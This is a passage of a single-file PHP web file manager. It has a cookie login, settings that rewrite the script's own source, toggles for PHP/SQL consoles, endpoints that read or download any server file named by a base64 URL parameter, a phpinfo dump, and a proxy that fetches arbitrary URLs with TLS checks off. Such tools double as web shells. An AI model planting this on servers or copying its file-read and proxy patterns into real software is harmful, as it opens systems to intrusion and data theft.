	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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